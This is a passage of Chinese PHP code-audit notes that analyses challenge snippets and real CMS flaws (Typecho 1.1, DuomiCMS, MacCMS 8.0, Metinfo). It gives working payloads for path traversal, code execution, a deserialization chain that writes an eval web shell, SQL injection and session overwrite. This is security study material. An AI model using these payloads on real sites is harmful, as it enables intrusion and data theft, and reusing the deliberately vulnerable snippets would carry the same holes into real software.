 17220 &lt;&lt;&lt; &lt;?php phpinfo(); ?&gt;
 17220 &lt;&lt;&lt; [EOF]
</code></pre>
<ul>
<li>filter_var()问题（FILTER_VALIDATE_EMAIL）</li>
</ul>
<blockquote><p>
  filter_var() 问题在于，我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因，我们通过重叠单引号和双引号，欺骗 filter_val() 使其认为我们仍然在双引号中，这样我们就可以绕过检测。
</p></blockquote>
<pre><code class="line-numbers">”aaa’aaa”@example.com
</code></pre>
<ul>
<li>escapeshellcmd() 和 escapeshellarg()（会造成特殊字符逃逸）</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200429180904.png" alt="" /></p>
<ul>
<li>逃逸过程分析</li>
</ul>
<pre><code class="line-numbers">$param = "127.0.0.1' -v -d a=1";
$a = escapeshellcmd($param);
$b = escapeshellarg($a);
$cmd = "curl".$b;
var_dump($a)."\n";
var_dump($b)."\n";
var_dump($cmd)."\n";
system($cmd);
</code></pre>
<p><strong>传入127.0.0.1&#8242; -v -d a=1，escapeshellarg首先进行转义，处理为&#8217;127.0.0.1&#8217;\&#8221; -v -d a=1&#8217;，接着escapeshellcmd处理，处理结果为&#8217;127.0.0.1&#8217;&#92;&#8221; -v -d a=1\&#8217;,&#92; 被解释成了 \ 而不再是转义字符</strong></p>
<h4>参考</h4>
<pre><code class="line-numbers">https://www.leavesongs.com/PENETRATION/some-tricks-of-attacking-lnmp-web-application.html
</code></pre>
<h2>正则使用不当导致的路径穿越问题</h2>
<h3>Frost Pattern</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class TokenStorage {
  public function performAction($action, $data) {
    switch ($action) {
      case 'create':
        $this-&gt;createToken($data);
        break;
      case 'delete':
        $this-&gt;clearToken($data);
        break;
      default:
        throw new Exception('Unknown action');
    }
  }

  public function createToken($seed) {
    $token = md5($seed);
    file_put_contents('/tmp/tokens/' . $token, '...data');
  }

  public function clearToken($token) {
    $file = preg_replace("/[^a-z.-_]/", "", $token);
    unlink('/tmp/tokens/' . $file);
  }
}

$storage = new TokenStorage();
$storage-&gt;performAction($_GET['action'], $_GET['data']);
</code></pre>
<ul>
<li>preg_replace(函数执行一个正则表达式的搜索和替换)</p>
</li>
<li>
<p>payload</p>
</li>
</ul>
<pre><code class="line-numbers">$action =delete$data = ../../config.php
</code></pre>
<h3>WeEngine0.8</h3>
<ul>
<li>web/source/site/category.ctrl.php:176</li>
</ul>
<p><strong>file_delete文件删除函数</strong><br />
<img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510093718.png" alt="" /></p>
<ul>
<li>framework/function/file.func.php:294</li>
</ul>
<p><strong>查看file_delete函数</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510093823.png" alt="" /></p>
<ul>
<li>追朔$file变量从何而来</li>
</ul>
<pre><code class="language-php line-numbers">if (!empty($navs)) {
        foreach ($navs as $row) {
            file_delete($row['icon']);
        }
</code></pre>
<ul>
<li>追朔$navs从何而来</li>
</ul>
<pre><code class="language-php line-numbers">    $navs = pdo_fetchall("SELECT icon, id FROM ".tablename('site_nav')." WHERE id IN (SELECT nid FROM ".tablename('site_category')." WHERE id = {$id} OR parentid = '$id')", array(), 'id');
</code></pre>
<ul>
<li>web/source/site/category.ctrl.php:137</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510095825.png" alt="" /></p>
<ul>
<li>web/source/site/category.ctrl.php:130</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510095930.png" alt="" /></p>
<p><strong>$nav[&#8216;icon&#8217;] 即为文件删除函数的参</strong></p>
<h2>parse_str函数缺陷</h2>
<ul>
<li>parse_str</li>
</ul>
<pre><code class="line-numbers">parse_str的作用就是解析字符串并且注册成变量，它在注册变量之前不会验证当前变量是否存在，所以会直接覆盖掉当前作用域中原有的变量。
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510103038.png" alt="" /></p>
<h2>preg_replace函数之命令执行</h2>
<h3>Candle</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">header("Content-Type: text/plain");

function complexStrtolower($regex, $value) {
  return preg_replace(
    '/(' . $regex . ')/ei',
    'strtolower("\\1")',
    $value
  );
}

foreach ($_GET as $regex =&gt; $value) {
  echo complexStrtolower($regex, $value) . "\n";
}
</code></pre>
<ul>
<li>preg_replace(函数执行一个正则表达式的搜索和替换)</li>
</ul>
<pre><code class="language-php line-numbers">mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &amp;$count ]] )
</code></pre>
<p><strong>$pattern 存在 /e 模式修正符，允许代码执行</strong><br />
<strong>/e 模式修正符，是 preg_replace() 将 $replacement 当做php代码来执行</strong></p>
<p><strong>将GET请求传过来的参数通过complexStrtolower函数执行，preg_replace函数存在e修正符</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">S*=${phpinfo()} 
</code></pre>
<h4>参考</h4>
<p><a class="wp-editor-md-post-content-link" href="https://xz.aliyun.com/t/2557">深入研究preg_replace与代码执行</a></p>
<h3>CmsEasy 5.5</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510160914.png" alt="" /></p>
<h4>漏洞分析</h4>
<ul>
<li>lib/tool/form.php:90</li>
</ul>
<p><strong>如果$form[$name][&#8216;default&#8217;]内容被匹配到就会执行eval</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510161952.png" alt="" /></p>
<ul>
<li>cache/template/default/manage/#guestadd.php:175</li>
</ul>
<p><strong>全局搜索getform，主要注意catid是作为$name的</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510162528.png" alt="" /></p>
<ul>
<li>lib/table/archive.php:25</li>
</ul>
<p><strong>追朔catid,寻找到default</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510163510.png" alt="" /></p>
<ul>
<li>lib/tool/front_class.php:2367</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510163724.png" alt="" /></p>
<ul>
<li>lib/tool/front_class.php:493</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510163809.png" alt="" /></p>
<ul>
<li>lib/tool/front_class.php:332</li>
</ul>
<p><strong>$form[$name][&#8216;default&#8217;]可控</strong><br />
<img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510164008.png" alt="" /></p>
<ul>
<li>lib/default/manage_act.php:29</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510164614.png" alt="" /></p>
<ul>
<li>测试</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510165011.png" alt="" /></p>
<h2>str_replace函数过滤不当</h2>
<h4>Rabbit</h4>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class LanguageManager {
  public function loadLanguage() {
    $lang = $this-&gt;getBrowserLanguage();
    $sanitizedLang = $this-&gt;sanitizeLanguage($lang);
    require_once("/lang/$sanitizedLang");
  }

  private function getBrowserLanguage() {
    $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
    return $lang;
  }

  private function sanitizeLanguage($language) {
    return str_replace('../', '', $language);
  }
}

(new LanguageManager())-&gt;loadLanguage();
</code></pre>
<ul>
<li>str_replace(子字符串替换)</li>
</ul>
<pre><code class="line-numbers">str_replace(字符串1，字符串2，字符串3)：将字符串3中出现的所有字符串1换成字符串2。

str_replace(数组1，字符串1，字符串2)：将字符串2中出现的所有数组1中的值，换成字符串1。

str_replace(数组1，数组2，字符串1)：将字符串1中出现的所有数组1一一对应，替换成数组2的值，多余的替换成空字符串。
</code></pre>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">....// 或者 ..././ 
</code></pre>
<h3>Metinfo 6.0.0</h3>
<ul>
<li>strstr</li>
</ul>
<pre><code class="line-numbers">查找字符串的首次出现到结尾的字符串
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510181653.png" alt="" /></p>
<h4>漏洞分析</h4>
<ul>
<li>app/system/include/module/old_thumb.class.php:14</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510183440.png" alt="" /></p>
<ul>
<li>include/thumb.php:6</li>
</ul>
<p><strong>全局搜索</strong><br />
<img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510183630.png" alt="" /></p>
<ul>
<li>app/system/include/class/load.class.php:113</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510183942.png" alt="" /></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">http://localhost/metInfo/include/thumb.php?dir=.....///http/.....///最终用户授权许可协议.txt
</code></pre>
<h2>程序未恰当exit导致的问题</h2>
<h3>Anticipation</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">extract($_POST);

function goAway() {
  error_log("Hacking attempt.");
  header('Location: /error/');
}

if (!isset($pi) || !is_numeric($pi)) {
  goAway();
}

if (!assert("(int)$pi == 3")) {
  echo "This is not pi.";
} else {
  echo "This might be pi.";
}
</code></pre>
<ul>
<li>extract</li>
</ul>
<pre><code class="line-numbers">从数组中将变量导入到当前的符号表
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200511104100.png" alt="" /></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">pl=phpinfo()
</code></pre>
<ul>
<li>测试</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200511105009.png" alt="" /></p>
<h3>FengCms 1.32</h3>
<ul>
<li>install/index.php</li>
</ul>
<p><strong>如果安装完成会生成INSTALL文件，访问文件如果存在此文件则会弹窗提示退出，但没有及时exit，导致程序逻辑还是往下走，还是会安装</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200511105552.png" alt="" /></p>
<h3>Simple-Log1.6网站重装漏洞</h3>
<ul>
<li>install/index.php</li>
</ul>
<p><strong>访问文件如果存在此文件则会弹窗提示退出，但没有及时exit，只是跳转到首页，导致程序逻辑还是往下走，还是会安装</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200511105858.png" alt="" /></p>
<h2>unserialize反序列化漏洞</h2>
<h3>Pumpkin Pie</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class Template {
  public $cacheFile = '/tmp/cachefile';
  public $template = '&lt;div&gt;Welcome back %s&lt;/div&gt;';

  public function __construct($data = null) {
    $data = $this-&gt;loadData($data);
    $this-&gt;render($data);
  }

  public function loadData($data) {
    if (substr($data, 0, 2) !== 'O:'
      &amp;&amp; !preg_match('/O:\d:\/', $data)) {
      return unserialize($data);
    }
    return [];
  }

  public function createCache($file = null, $tpl = null) {
    $file = $file ?? $this-&gt;cacheFile;
    $tpl = $tpl ?? $this-&gt;template;
    file_put_contents($file, $tpl);
  }

  public function render($data) {
    echo sprintf(
      $this-&gt;template,
      htmlspecialchars($data['name'])
    );
  }

  public function __destruct() {
    $this-&gt;createCache();
  }
}

new Template($_COOKIE['data']);
</code></pre>
<ul>
<li>题解</li>
</ul>
<p><strong>在loadData函数中使用到了unserialize反序列化方法，对传进来的$data进行了反序列化，最后对Template进行了实例化，将COOKIE中的data进行了反序列化。</strong></p>
<pre><code class="language-php line-numbers">if (substr($data, 0, 2) !== 'O:'
      &amp;&amp; !preg_match('/O:\d:\/', $data))
</code></pre>
<p><strong>代码对data进行了判断，不可以为对象，0:X，X不可以为数字，绕过方法可以使用array数组绕过第一个，在X前面加+绕过第二个限制，搭达到到达反序列化方法的步骤。在__destruct销毁时会调用createCache方法写入文件，达成目的。</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">&lt;?php

class Template{

    public $cacheFile = './test.php';
    public $template = '&lt;?php eval($_POST[xx])&gt;';
}


$temp= new Template();
$test = Array($temp);
print(serialize($test));

?&gt;
</code></pre>
<ul>
<li>测试</li>
</ul>
<pre><code class="line-numbers">a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:10:"./test.php";s:8:"template";s:26:"";}}
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512133601.png" alt="" /></p>
<h3>Typecho-1.1</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512134011.png" alt="" /></p>
<h4>漏洞分析</h4>
<ul>
<li>install.php:230</li>
</ul>
<p><strong>将cookie中的__typecho_configbase64解码之后进行反序列化操作</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512134626.png" alt="" /></p>
<ul>
<li>条件</li>
</ul>
<p><strong>如果finish不存在，或者存在config.inc.php文件$_SESSION[&#8216;typecho&#8217;]为空，则退出程序</strong></p>
<pre><code class="language-php line-numbers">if (!isset($_GET['finish']) &amp;&amp; file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') &amp;&amp; empty($_SESSION['typecho'])) {
    exit;}
</code></pre>
<pre><code class="line-numbers">finish=1
</code></pre>
<p><strong>将反序列化后的结果传递给$config</strong></p>
<ul>
<li>install.php:232</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512140042.png" alt="" /></p>
<ul>
<li>var/Typecho/Db.php:114</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512140213.png" alt="" /></p>
<p><strong>变量adapterName = &#8216;Typecho_Db_Adapter_&#8217; . 变量adapterName，如果adapterName是对象，会触发__toString()方法</strong></p>
<ul>
<li>var/Typecho/Feed.php:223</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512141504.png" alt="" /></p>
<ul>
<li>var/Typecho/Feed.php:290</li>
</ul>
<p><strong>如果$item[&#8216;author&#8217;]->screenName为私有属性或者不存在会触发__get方法</strong><br />
<img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512143628.png" alt="" /></p>
<pre><code class="language-php line-numbers">    public function __get($key)
    {
        return $this-&gt;get($key);
    }
</code></pre>
<ul>
<li>var/Typecho/Request.php:295</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512144017.png" alt="" /></p>
<p><strong>call_user_fun回调函数，$this->_param[&#8216;scrrenName&#8217;] 的值设置为想要执行的函数，构造 $this->_filter 为对应函数的参数值self::RSS2 == $this->_type,type需要构造，item[&#8216;author&#8217;]为触发点，需要构造this_items</strong></p>
<ul>
<li>构造payload</li>
</ul>
<pre><code class="language-php line-numbers">&lt;?php

class Typecho_Request{

    private $_params = array();
    private $_fifter = array();

    public function __construct(){
        $this-&gt;_params['screenName'] = 'phpinfo()';
        $this-&gt;_fifter[0] = 'assert';
    }
}

class Typecho_Feed{

    private $_type;
    private $_item = array();
    public function s__construct(){

        $this-&gt;_type = 'RSS 2.0';
        $item['author'] = new Typecho_Request();
        $item['category']=Array(new Typecho_Request());
        $this-&gt;_item[0]=$item;
    }
}

$x = new Typecho_Feed();
$a = array(
    'adapter' =&gt; $x,
    'prefix' =&gt; 'Typecho_'

);

echo base64_encode(serialize($a));

?&gt;
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512150509.png" alt="" /></p>
<ul>
<li>测试</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512153050.png" alt="" /></p>
<h2>误用htmlentities函数引发的漏洞</h2>
<h3>String Lights</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">$sanitized = [];

foreach ($_GET as $key =&gt; $value) {
  $sanitized[$key] = intval($value);
}

$queryParts = array_map(function ($key, $value) {
  return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));

$query = implode('&amp;', $queryParts);

echo "&lt;a href='/images/size.php?" .
  htmlentities($query) . "'&gt;link&lt;/a&gt;";
</code></pre>
<ul>
<li>htmlentities</li>
</ul>
<pre><code class="line-numbers">将字符转换为 HTML 转义字符
</code></pre>
<p><em>ENT_COMPAT（默认值）：只转换双引号。<br />
ENT_QUOTES：两种引号都转换。<br />
ENT_NOQUOTES：两种引号都不转换。</em></p>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512165224.png" alt="" /></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">a%27onclick%3Dalert%281%29%2f%2f=1
</code></pre>
<h3>DM企业建站系统 v201710</h3>
<h4>漏洞分析</h4>
<ul>
<li>admindm-yourname/mod_common/login.php:63</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512171350.png" alt="" /></p>
<ul>
<li>直接拼接数据</li>
</ul>
<pre><code class="language-php line-numbers"> $ss_P="select * from ".TABLE_USER."  where  email='$user' and ps='$pscrypt'  order by id desc limit 1";
</code></pre>
<ul>
<li>component/dm-config/global.common.php:421</li>
</ul>
<p><strong>ENT_NOQUOTES两种引号都不转换，造成注入</strong><br />
<img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512171544.png" alt="" /></p>
<h2>特定场合下addslashes函数的绕过</h2>
<h3>Turkey Baster</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class LoginManager {
  private $em;
  private $user;
  private $password;

  public function __construct($user, $password) {
    $this-&gt;em = DoctrineManager::getEntityManager();
    $this-&gt;user = $user;
    $this-&gt;password = $password;
  }

  public function isValid() {
    $user = $this-&gt;sanitizeInput($this-&gt;user);
    $pass = $this-&gt;sanitizeInput($this-&gt;password);

    $queryBuilder = $this-&gt;em-&gt;createQueryBuilder()
      -&gt;select("COUNT(p)")
      -&gt;from("User", "u")
      -&gt;where("user = '$user' AND password = '$pass'");
    $query = $queryBuilder-&gt;getQuery();
    return boolval($query-&gt;getSingleScalarResult());
  }

  public function sanitizeInput($input, $length = 20) {
    $input = addslashes($input);
    if (strlen($input) &gt; $length) {
      $input = substr($input, 0, $length);
    }
    return $input;
  }
}

$auth = new LoginManager($_POST['user'], $_POST['passwd']);
if (!$auth-&gt;isValid()) {
  exit;
</code></pre>
<ul>
<li>题解</li>
</ul>
<p><strong>实例化一个LoginManager类名，接收用户传递的user，passwd两个参数，并通过isValid方法判断是否合法，sanitizeInput方法，通过addslashes方法进行过滤，再截取20位返回。</strong></p>
<ul>
<li>addslashes</li>
</ul>
<pre><code class="line-numbers">作用：在单引号（'）、双引号（"）、反斜线（\）与 NUL（ NULL 字符）字符之前加上反斜线
</code></pre>
<ul>
<li>substr</li>
</ul>
<pre><code class="line-numbers">string substr ( string $string , int $start [, int $length ] )
</code></pre>
<p><strong>返回字符串 string 由 start 和 length 参数指定的子字符串。</strong></p>
<ul>
<li>user</li>
</ul>
<pre><code class="line-numbers">1234567890123456789'
</code></pre>
<ul>
<li>sql</li>
</ul>
<pre><code class="line-numbers">select count(p) from user where user = '1234567890123456789\' AND password = 'or 1=1#'
</code></pre>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">user=1234567890123456789'&amp;passwd=or 1=1#
</code></pre>
<h2>苹果CMS视频分享程序 8.0</h2>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512232311.png" alt="" /></p>
<h4>漏洞分析</h4>
<ul>
<li>inc/common/template.php:754</li>
</ul>
<p><strong>$lp[&#8216;wd&#8217;]直接拼接SQL语句，造成SQL注入</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513085115.png" alt="" /></p>
<ul>
<li>inc/module/vod.php:96</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513091938.png" alt="" /></p>
<ul>
<li>inc/common/function.php:266</li>
</ul>
<p><strong>对传进来的参数进行过滤</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513092121.png" alt="" /></p>
<p>在<em>$res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : &#8221;;</em>中可以知道wd参数是通过REQUEST方法获取的然后进行过滤。</p>
<ul>
<li>inc/common/360_safe3.php:27</li>
</ul>
<p><strong>跟踪chkSql函数</strong></p>
<p><em>将传进来的参数进行urldecode解码之后，通过StopAttack方法，最后通过htmlEncode方法，最后返回。</em></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513093123.png" alt="" /></p>
<ul>
<li>inc/common/360_safe3.php:12</li>
</ul>
<p><em>跟进StopAttack方法，使用preg_match方法进行过滤</em></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513094302.png" alt="" /></p>
<ul>
<li>inc/common/360_safe3.php:57<br />
<em>跟踪$getfilter方法</em></li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513095310.png" alt="" /></p>
<ul>
<li>inc/common/function.php:572</li>
</ul>
<p><em>跟踪一下htmlEncode方法，针对 &amp; 、 &#8216; 、 空格 、 &#8221; 、 TAB 、 回车 、 换行 、 大于小于号 等符号进行实体编码转换</em></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513095430.png" alt="" /></p>
<ul>
<li>inc/common/template.php:560</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513101624.png" alt="" /></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513091938.png" alt="" /></p>
<p><em>而 wd 是可以从 REQUEST 中获取到，所以wd 实际上是可控的。</em></p>
<ul>
<li>漏洞思路</li>
</ul>
<p><em>SQL注入点是字符型注入，htmlEncode方法实体编码了单引号，最后进行了url解码操作，可以通过双编码绕过，htmlEncode方法没有过滤反斜杠，而addslashes方法会过滤反斜杠。</em></p>
<ul>
<li>构造SQL</li>
</ul>
<pre><code class="line-numbers">wd=))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(3)),0)#%25%35%63
</code></pre>
<h2>从变量覆盖到getshell</h2>
<h3>Snowman</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class Carrot {
  const EXTERNAL_DIRECTORY = '/tmp/';
  private $id;
  private $lost = 0;
  private $bought = 0;

  public function __construct($input) {
    $this-&gt;id = rand(1, 1000);

    foreach ($input as $field =&gt; $count) {
      $this-&gt;$field = $count++;
    }
  }

  public function __destruct() {
    file_put_contents(
      self::EXTERNAL_DIRECTORY . $this-&gt;id,
      var_export(get_object_vars($this), true)
    );
  }
}

$carrot = new Carrot($_GET);
</code></pre>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">id=shell.pho&amp;shell=',)%0a// 
</code></pre>
<ul>
<li>测试</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513120025.png" alt="" /></p>
<h3>DuomiCMS_3.0</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513133757.png" alt="" /></p>
<h4>漏洞分析</h4>
<ul>
<li>duomiphp/common.php:52</li>
</ul>
<p><em>查看全局变量注册代码</em></p>
<pre><code class="language-php line-numbers">foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k =&gt; $_v) ${$_k} = _RunMagicQuotes($_v);
}
</code></pre>
<ul>
<li>duomiphp/common.php:36</li>
</ul>
<p><em>查看_RunMagicQuotes方法, _RunMagicQuotes 函数将特殊符号，使用 addslashes 函数进行转义处理</em></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513134725.png" alt="" /></p>
<ul>
<li>admin/admin_ping.php:13</li>
</ul>
<p><em>全剧追踪fwrite函数，$weburl与token来源于post，可控。</em></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513135318.png" alt="" /></p>
<p><em>weburl 变量和 token 变量从 POST方式获取，经过了_RunMagicQuotes方法还有webscan.php的过滤，但是可以写shell</em></p>
<p><strong>admin\admin_ping.php文件得需要admin身份才可以有访问权限写shell</strong></p>
<ul>
<li>admin/config.php:28</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513140949.png" alt="" /></p>
<ul>
<li>duomiphp/check.admin.php:41</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513141135.png" alt="" /></p>
<ul>
<li>admin/login.php:62</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513142847.png" alt="" /></p>
<ul>
<li>duomiphp/check.admin.php:72</li>
</ul>
<p><em>跟进checkUser方法</em></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513143011.png" alt="" /></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513143114.png" alt="" /></p>
<ul>
<li>登陆管理用户查看组</li>
</ul>
<p><em>可知用户组和userid均为1</em><br />
<img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513151034.png" alt="" /></p>
<ul>
<li>覆盖 session 的值</li>
</ul>
<p><strong>重点注意这里git项目上的覆盖session有问题，可以使用这个payload</strong></p>
<pre><code class="line-numbers">member/share.php?_SESSION[duomi_group_id]=1&amp;_SESSION[duomi_admin_id]=1
</code></pre>
<ul>
<li>payload</li>
</ul>
<p>&#8220;`POST /admin/admin_ping.php?action=set HTTP/1.1<br />
Host: www.test.com:8888<br />
Cache-Control: max-age=0<br />
Upgrade-Insecure-Requests: 1<br />
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36<br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8<br />
Accept-Encoding: gzip, deflate<br />
Accept-Language: zh-CN,zh;q=0.9<br />
Connection: close<br />
Content-Type: application/x-www-form-urlencoded<br />
Content-Length: 34</p>
<p>weburl=&quot;;phpinfo();//&amp;token=</p>
<p>&lt;pre&gt;&lt;code class=&quot;line-numbers&quot;&gt;- 测试</p>
<p>![](https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513220531.png)</p>
<p>## $_SERVER[&#039;PHP_SELF&#039;]导致的防御失效问题</p>
<p>### Sleigh Ride</p>
<p>&#8211; code </p>
<p>&#8220;`php<br />
class Redirect {<br />
  private $websiteHost = &#8216;www.example.com&#8217;;</p>
<p>  private function setHeaders($url) {<br />
    $url = urldecode($url);<br />
    header(&#8220;Location: $url&#8221;);<br />
  }</p>
<p>  public function startRedirect($params) {<br />
    $parts = explode(&#8216;/&#8217;, $_SERVER[&#8216;PHP_SELF&#8217;]);<br />
    $baseFile = end($parts);<br />
    $url = sprintf(<br />
      &#8220;%s?%s&#8221;,<br />
      $baseFile,<br />
      http_build_query($params)<br />
    );<br />
    $this-&gt;setHeaders($url);<br />
  }<br />
}</p>
<p>if ($_GET[&#8216;redirect&#8217;]) {<br />
  (new Redirect())-&gt;startRedirect($_GET[&#8216;params&#8217;]);<br />
}<br />
</code></p>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200514095859.png" alt="" /></p>
<ul>
<li>题解</li>
</ul>
<p><em>代码实现的功能实则为一个URL跳转的功能，PHP_SELF 指当前的页面绝对地址。</em></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">/index.php/http:%252f%252fwww.syst1m.com?redirect=1
</code></pre>
<ul>
<li>测试</li>
</ul>
<p><em>跳转到了我的博客</em><br />
<img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200514101338.png" alt="" /></p>
<h2>深入理解$_REQUESTS数组</h2>
<h3>Poem</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class FTP {
  public $sock;

  public function __construct($host, $port, $user, $pass) {
    $this-&gt;sock = fsockopen($host, $port);

    $this-&gt;login($user, $pass);
    $this-&gt;cleanInput();
    $this-&gt;mode($_REQUEST['mode']);
    $this-&gt;send($_FILES['file']);
  }

  private function cleanInput() {
    $_GET = array_map('intval', $_GET);
    $_POST = array_map('intval', $_POST);
    $_COOKIE = array_map('intval', $_COOKIE);
  }

  public function login($username, $password) {
    fwrite($this-&gt;sock, "USER " . $username . "\n");
    fwrite($this-&gt;sock, "PASS " . $password . "\n");
  }

  public function mode($mode) {
    if ($mode == 1 || $mode == 2 || $mode == 3) {
      fputs($this-&gt;sock, "MODE $mode\n");
    }
  }

  public function send($data) {
    fputs($this-&gt;sock, $data);
  }
}

new FTP('localhost', 21, 'user', 'password');
</code></pre>
<ul>
<li>题解</li>
</ul>
<p><em>mode是通过request传进来的，在cleanInput方法中将get、post、cookie传进来的全部通过intval函数过滤</em></p>
<ul>
<li>REQUEST</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200514104553.png" alt="" /></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">?mode=1%0a%0dDELETE%20test.file 
</code></pre>
<h2>Raw MD5 Hash引发的注入</h2>
